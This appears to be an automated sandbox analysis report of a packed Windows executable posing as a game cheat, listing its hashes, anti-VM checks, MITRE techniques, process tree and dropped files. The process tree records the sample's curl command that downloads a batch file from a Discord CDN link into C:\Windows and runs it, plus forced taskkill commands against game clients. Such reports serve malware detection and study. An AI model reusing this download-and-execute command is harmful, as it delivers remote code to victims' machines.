25f01407eb4777ac941fc8888c817751e24ee58a9ef3b3f9942ed9cdbf846435

Analysis

max time kernel
44s
max time network
46s
platform
windows11-21h2_x64
resource
win11-20240221-en
resource tags

arch:x64arch:x86image:win11-20240221-enlocale:en-usos:windows11-21h2-x64system
submitted
11/04/2024, 08:40

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Blueberry_External_Updated_Fixed.exe
Size 4.2MB
Sample240411-kktrsaba2z
SHA256 25f01407eb4777ac941fc8888c817751e24ee58a9ef3b3f9942ed9cdbf846435
MD5 b5709c0c0631f7fe04a80f9c5275cc23
SHA1 a7504068e362d228903ea320d0c2eee4c9edb968
SHA512 ad33caca9b35415cf03af6a7792d0d8203cec97f5e8e1ee1f9618357c8165d2dfc64ae6115a4cd55de31129889281626156121f2831926d5253724f0c6581b9c
SSDEEP 98304:KVxiViMwzAPkNAa5k4ieKPLWXEsXS5T5IS:KGkMwzAPXa5dMPhsXuuS
MD5 SHA1 SHA512 SSDEEP

Score

9^/10

evasion themida trojan

Malware Config

Signatures

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Blueberry_External_Updated_Fixed.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Blueberry_External_Updated_Fixed.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Blueberry_External_Updated_Fixed.exe

Themida packer 7 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral2/memory/4624-0-0x00007FF722250000-0x00007FF722D86000-memory.dmp	themida
behavioral2/memory/4624-2-0x00007FF722250000-0x00007FF722D86000-memory.dmp	themida
behavioral2/memory/4624-3-0x00007FF722250000-0x00007FF722D86000-memory.dmp	themida
behavioral2/memory/4624-4-0x00007FF722250000-0x00007FF722D86000-memory.dmp	themida
behavioral2/memory/4624-5-0x00007FF722250000-0x00007FF722D86000-memory.dmp	themida
behavioral2/memory/4624-6-0x00007FF722250000-0x00007FF722D86000-memory.dmp	themida
behavioral2/memory/4624-39-0x00007FF722250000-0x00007FF722D86000-memory.dmp	themida

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Blueberry_External_Updated_Fixed.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
1	pastebin.com
1	discord.com
2	pastebin.com
17	discord.com

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
4624	Blueberry_External_Updated_Fixed.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\windowseleven.bat	curl.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Kills process with taskkill 4 IoCs

evasion

pid	Process
2240	taskkill.exe
32	taskkill.exe
2100	taskkill.exe
416	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-3594324687-1993884830-4019639329-1000\{3673CB33-B3FA-4221-8AE2-021A23D8208F}	msedge.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
1552	msedge.exe
1552	msedge.exe
2332	msedge.exe
2332	msedge.exe
4764	msedge.exe
4764	msedge.exe
3216	identity_helper.exe
3216	identity_helper.exe
4692	msedge.exe
4692	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
2332	msedge.exe
2332	msedge.exe
2332	msedge.exe
2332	msedge.exe
2332	msedge.exe
2332	msedge.exe
2332	msedge.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	416	taskkill.exe
Token: SeDebugPrivilege	2240	taskkill.exe
Token: SeDebugPrivilege	32	taskkill.exe
Token: SeDebugPrivilege	2100	taskkill.exe

Suspicious use of FindShellTrayWindow 25 IoCs

pid	Process
2332	msedge.exe
2332	msedge.exe
2332	msedge.exe
2332	msedge.exe
2332	msedge.exe
2332	msedge.exe
2332	msedge.exe
2332	msedge.exe
2332	msedge.exe
2332	msedge.exe
2332	msedge.exe
2332	msedge.exe
2332	msedge.exe
2332	msedge.exe
2332	msedge.exe
2332	msedge.exe
2332	msedge.exe
2332	msedge.exe
2332	msedge.exe
2332	msedge.exe
2332	msedge.exe
2332	msedge.exe
2332	msedge.exe
2332	msedge.exe
2332	msedge.exe

Suspicious use of SendNotifyMessage 12 IoCs

pid	Process
2332	msedge.exe
2332	msedge.exe
2332	msedge.exe
2332	msedge.exe
2332	msedge.exe
2332	msedge.exe
2332	msedge.exe
2332	msedge.exe
2332	msedge.exe
2332	msedge.exe
2332	msedge.exe
2332	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4624 wrote to memory of 4488	4624	Blueberry_External_Updated_Fixed.exe	77
PID 4624 wrote to memory of 4488	4624	Blueberry_External_Updated_Fixed.exe	77
PID 4488 wrote to memory of 4864	4488	cmd.exe	78
PID 4488 wrote to memory of 4864	4488	cmd.exe	78
PID 4488 wrote to memory of 3124	4488	cmd.exe	79
PID 4488 wrote to memory of 3124	4488	cmd.exe	79
PID 4488 wrote to memory of 572	4488	cmd.exe	80
PID 4488 wrote to memory of 572	4488	cmd.exe	80
PID 4624 wrote to memory of 3268	4624	Blueberry_External_Updated_Fixed.exe	81
PID 4624 wrote to memory of 3268	4624	Blueberry_External_Updated_Fixed.exe	81
PID 3268 wrote to memory of 2020	3268	cmd.exe	82
PID 3268 wrote to memory of 2020	3268	cmd.exe	82
PID 4624 wrote to memory of 1968	4624	Blueberry_External_Updated_Fixed.exe	83
PID 4624 wrote to memory of 1968	4624	Blueberry_External_Updated_Fixed.exe	83
PID 4624 wrote to memory of 3684	4624	Blueberry_External_Updated_Fixed.exe	84
PID 4624 wrote to memory of 3684	4624	Blueberry_External_Updated_Fixed.exe	84
PID 4624 wrote to memory of 2316	4624	Blueberry_External_Updated_Fixed.exe	85
PID 4624 wrote to memory of 2316	4624	Blueberry_External_Updated_Fixed.exe	85
PID 2316 wrote to memory of 2332	2316	cmd.exe	86
PID 2316 wrote to memory of 2332	2316	cmd.exe	86
PID 2332 wrote to memory of 1020	2332	msedge.exe	89
PID 2332 wrote to memory of 1020	2332	msedge.exe	89
PID 4624 wrote to memory of 4236	4624	Blueberry_External_Updated_Fixed.exe	90
PID 4624 wrote to memory of 4236	4624	Blueberry_External_Updated_Fixed.exe	90
PID 4236 wrote to memory of 416	4236	cmd.exe	91
PID 4236 wrote to memory of 416	4236	cmd.exe	91
PID 2332 wrote to memory of 468	2332	msedge.exe	93
PID 2332 wrote to memory of 468	2332	msedge.exe	93
PID 2332 wrote to memory of 468	2332	msedge.exe	93
PID 2332 wrote to memory of 468	2332	msedge.exe	93
PID 2332 wrote to memory of 468	2332	msedge.exe	93
PID 2332 wrote to memory of 468	2332	msedge.exe	93
PID 2332 wrote to memory of 468	2332	msedge.exe	93
PID 2332 wrote to memory of 468	2332	msedge.exe	93
PID 2332 wrote to memory of 468	2332	msedge.exe	93
PID 2332 wrote to memory of 468	2332	msedge.exe	93
PID 2332 wrote to memory of 468	2332	msedge.exe	93
PID 2332 wrote to memory of 468	2332	msedge.exe	93
PID 2332 wrote to memory of 468	2332	msedge.exe	93
PID 2332 wrote to memory of 468	2332	msedge.exe	93
PID 2332 wrote to memory of 468	2332	msedge.exe	93
PID 2332 wrote to memory of 468	2332	msedge.exe	93
PID 2332 wrote to memory of 468	2332	msedge.exe	93
PID 2332 wrote to memory of 468	2332	msedge.exe	93
PID 2332 wrote to memory of 468	2332	msedge.exe	93
PID 2332 wrote to memory of 468	2332	msedge.exe	93
PID 2332 wrote to memory of 468	2332	msedge.exe	93
PID 2332 wrote to memory of 468	2332	msedge.exe	93
PID 2332 wrote to memory of 468	2332	msedge.exe	93
PID 2332 wrote to memory of 468	2332	msedge.exe	93
PID 2332 wrote to memory of 468	2332	msedge.exe	93
PID 2332 wrote to memory of 468	2332	msedge.exe	93
PID 2332 wrote to memory of 468	2332	msedge.exe	93
PID 2332 wrote to memory of 468	2332	msedge.exe	93
PID 2332 wrote to memory of 468	2332	msedge.exe	93
PID 2332 wrote to memory of 468	2332	msedge.exe	93
PID 2332 wrote to memory of 468	2332	msedge.exe	93
PID 2332 wrote to memory of 468	2332	msedge.exe	93
PID 2332 wrote to memory of 468	2332	msedge.exe	93
PID 2332 wrote to memory of 468	2332	msedge.exe	93
PID 2332 wrote to memory of 468	2332	msedge.exe	93
PID 2332 wrote to memory of 468	2332	msedge.exe	93
PID 2332 wrote to memory of 468	2332	msedge.exe	93
PID 2332 wrote to memory of 468	2332	msedge.exe	93

C:\Users\Admin\AppData\Local\Temp\Blueberry_External_Updated_Fixed.exe
"C:\Users\Admin\AppData\Local\Temp\Blueberry_External_Updated_Fixed.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
PID:4624
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\Blueberry_External_Updated_Fixed.exe" MD5 | find /i /v "md5" | find /i /v "certutil"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4488
- - C:\Windows\system32\certutil.exe
    certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\Blueberry_External_Updated_Fixed.exe" MD5
    3⤵
    PID:4864
- - C:\Windows\system32\find.exe
    find /i /v "md5"
    3⤵
    PID:3124
- - C:\Windows\system32\find.exe
    find /i /v "certutil"
    3⤵
    PID:572
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl https://cdn.discordapp.com/attachments/1098035049280065587/1099729891974451303/windows11.bat --silent -o C:\Windows\windowseleven.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3268
- - C:\Windows\system32\curl.exe
    curl https://cdn.discordapp.com/attachments/1098035049280065587/1099729891974451303/windows11.bat --silent -o C:\Windows\windowseleven.bat
    3⤵
    - Drops file in Windows directory
    PID:2020
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Windows\windowseleven.bat
  2⤵
  PID:1968
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del C:\Windows\windowseleven.bat
  2⤵
  PID:3684
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start https://discord.gg/blueberryud
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2316
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://discord.gg/blueberryud
    3⤵
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of WriteProcessMemory
    PID:2332
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7fff18703cb8,0x7fff18703cc8,0x7fff18703cd8
      4⤵
      PID:1020
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1888,3830203245274055848,4201362574605826348,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1884 /prefetch:2
      4⤵
      PID:468
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1888,3830203245274055848,4201362574605826348,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2392 /prefetch:3
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1552
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1888,3830203245274055848,4201362574605826348,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2816 /prefetch:8
      4⤵
      PID:4932
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1888,3830203245274055848,4201362574605826348,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3240 /prefetch:1
      4⤵
      PID:1168
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1888,3830203245274055848,4201362574605826348,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3252 /prefetch:1
      4⤵
      PID:2372
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1888,3830203245274055848,4201362574605826348,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4604 /prefetch:1
      4⤵
      PID:1172
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=1888,3830203245274055848,4201362574605826348,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=4652 /prefetch:8
      4⤵
      PID:3752
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=1888,3830203245274055848,4201362574605826348,131072 --lang=en-US --service-sandbox-type=video_capture --mojo-platform-channel-handle=4044 /prefetch:8
      4⤵
      Modifies registry class
      Suspicious behavior: EnumeratesProcesses
      PID:4764
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1888,3830203245274055848,4201362574605826348,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3472 /prefetch:1
      4⤵
      PID:2316
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1888,3830203245274055848,4201362574605826348,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3484 /prefetch:1
      4⤵
      PID:3816
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1888,3830203245274055848,4201362574605826348,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5664 /prefetch:1
      4⤵
      PID:1056
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1888,3830203245274055848,4201362574605826348,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5656 /prefetch:1
      4⤵
      PID:4628
  - - C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1888,3830203245274055848,4201362574605826348,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4028 /prefetch:8
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3216
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1888,3830203245274055848,4201362574605826348,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3852 /prefetch:8
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4692
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im EpicGamesLauncher.exe >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4236
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im EpicGamesLauncher.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:416
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im FortniteClient-Win64-Shipping.exe >nul 2>&1
  2⤵
  PID:2272
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im FortniteClient-Win64-Shipping.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2240
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im Valorant.exe >nul 2>&1
  2⤵
  PID:676
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im Valorant.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:32
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im RiotClient.exe >nul 2>&1
  2⤵
  PID:4544
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im RiotClient.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2100

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1368

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4040

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27
Size 1KB
SHA256 17940ceaf6445e993d4a7db07d18deb0fa7f009e7fb606e1574e83c6dc145444
MD5 d62578fc15ffe8aa0a03c6f894025b30
SHA1 de67b74b9f6b041d6eb13392940234a68de680a8
SHA512 3b2ac979d111d1b558e042dbbe5dbc7a59ce13b272d169d26bfab99b12ebea12091a2ce304de631b952b47858f6b4005b919648e4597167771ca1987dfb8eeb1
MD5 SHA1 SHA512

Submit Download

6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27
Size 408B
SHA256 fe9890126a025628be1e2b376a2737289cb92882dc31870ba34737689ad25737
MD5 2c9aa29390e3487c302b98afc648846a
SHA1 ff29246aa63bf1751586f0b3de541ad013f950ea
SHA512 cf1e469d28f3cb2baff8a9980dabf17c71544229ab8433b10690e051397fd1632901dbbe43cf4d3a6f066c0b79ee0a266d3710b70e0eff39e5f0d39dbfdaf95c
MD5 SHA1 SHA512

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 152B
SHA256 a241c88bb86182b5998d9818e6e054d29b201b53f4f1a6b9b2ee8ba22dd238dc
MD5 5c3ea95e17becd26086dd59ba83b8e84
SHA1 7943b2a84dcf26240afc77459ffaaf269bfef29f
SHA512 64c905e923298528783dc64450c96390dc5edbda51f553c04d88ee944b0c660b05392dc0c823d7fb47f604b04061390b285f982dfcc767c8168ccb00d7e94e21
MD5 SHA1 SHA512

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 152B
SHA256 2e5d6a5eeb72575f974d5fa3cdff7ad4d87a361399ffdd4b03f93cdbdec3a110
MD5 c65e704fc47bc3d9d2c45a244bb74d76
SHA1 3e7917feebea866e0909e089e0b976b4a0947a6e
SHA512 36c3be0e5fbc23c5c0ad2e14cfb1cf7913bea9a5aeb83f9f6fcf5dbc52a94d8ccb370cef723b0cda82b5fba1941b6a9ff57f77ff0076a2c5cf4250711e3dd909
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 984B
SHA256 825dc021428d696910b8211a61aca1ef7f5e870ef307adcf5b3cfc77831190f7
MD5 b50957bb8da137c77f66181dae8e77fc
SHA1 bfed793f47da935dcafa1c131c8498757459f18e
SHA512 442bdc889ca689b27ea54753b28a8800c562d2b598fb07f24c53bc6286c10fe2de69812ac81ab70e0ad2f617da20d1ca78cff039e37f7491d4fa56432a0816d9
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 6KB
SHA256 5ebcb940594d20619ec50cc82c0facb406d9a58bc24971915fd8990d11ea9700
MD5 428207bc7d464a2a04e2570750d91b22
SHA1 70b0983d7c56697b3ae5f28ce91a4844d0da132f
SHA512 7efc65d4ac7ee3596e42bce1c9bef3d2f6816667b73289b751994ad2b95b95ad9bd2ca9f3e8dc83ed709c42b1747f9f5512106f1a82c76531163cd2986dcfd67
SSDEEP 96:nIk3vj8tNkEO0wSv0MoiVmdHuv1jIvBJSt0WQyV+VpAiX3wI3:nIk3vj6NkENv0MguvhIvDStLe93
MD5 SHA1 SHA512 SSDEEP

Submit Download

d8e9e41e-4324-435f-8287-c1f3c128da6d.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\d8e9e41e-4324-435f-8287-c1f3c128da6d.tmp
Size 5KB
SHA256 a437571e058dd1a207b238196a54b724af7f728b43952c1145d5d6fe6cb74320
MD5 d137ff288a64bfccb8ebf0cb2fed7f18
SHA1 ddca76ed35dda816489efed6ca13a4fb8bc5b85e
SHA512 0b322600a5562f7c03414459742a5b96320693af9b2b1b7b251eaec364e293fe9049b5d0e09c441402bf5b5c5d79c8a04ebebeb507b8916a9bf0837ec0db0cb1
SSDEEP 96:nIk3v+tNkEO0wSv0MoiVmdHIvUJSt0WQyV+VpziX3wI3:nIk3vYNkENv0MAIvyStLx93
MD5 SHA1 SHA512 SSDEEP

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT
Size 16B
SHA256 0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd
MD5 6752a1d65b201c13b62ea44016eb221f
SHA1 58ecf154d01a62233ed7fb494ace3c3d4ffce08b
SHA512 9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 11KB
SHA256 45751c6964d996b363fa1c03f37daeea0a79567e5290d2e0fefa609d2fa0a882
MD5 cd78d2c9ccbced7a39c9b59ec8222ff0
SHA1 88b1d11625dfadb01ec9d78968e71019dee9483f
SHA512 30d4841a17e2d25629a886e6a7df1de553b20556f1242885cde57e9ad439d15654b665e751de5651c0a9f2232135686a014a4b5dbc994f2e6d07c38d82f619b6
SSDEEP 192:coCL/Pgu90RZj8Sr6FA4ZiIxuERzA83h09RZxASGRidN/e2RUHkWRyWPD7O0UgGq:M9iIxuERzA83h09RZxASGcdNHWkQD7y2
MD5 SHA1 SHA512 SSDEEP

Submit Download

windowseleven.bat

Path C:\Windows\windowseleven.bat
Size 36B
SHA256 c3fa59901d56ce8a95a303b22fd119cb94abf4f43c4f6d60a81fd78b7d00fa65
MD5 a1ca4bebcd03fafbe2b06a46a694e29a
SHA1 ffc88125007c23ff6711147a12f9bba9c3d197ed
SHA512 6fe1730bf2a6bba058c5e1ef309a69079a6acca45c0dbca4e7d79c877257ac08e460af741459d1e335197cf4de209f2a2997816f2a2a3868b2c8d086ef789b0e
MD5 SHA1 SHA512

Submit Download

memory/4624-5-0x00007FF722250000-0x00007FF722D86000-memory.dmp

Download

memory/4624-6-0x00007FF722250000-0x00007FF722D86000-memory.dmp

Download

memory/4624-0-0x00007FF722250000-0x00007FF722D86000-memory.dmp

Download

memory/4624-39-0x00007FF722250000-0x00007FF722D86000-memory.dmp

Download

memory/4624-55-0x00007FFF281E0000-0x00007FFF283E9000-memory.dmp

Download

memory/4624-4-0x00007FF722250000-0x00007FF722D86000-memory.dmp

Download

memory/4624-3-0x00007FF722250000-0x00007FF722D86000-memory.dmp

Download

memory/4624-2-0x00007FF722250000-0x00007FF722D86000-memory.dmp

Download

memory/4624-1-0x00007FFF281E0000-0x00007FFF283E9000-memory.dmp

Download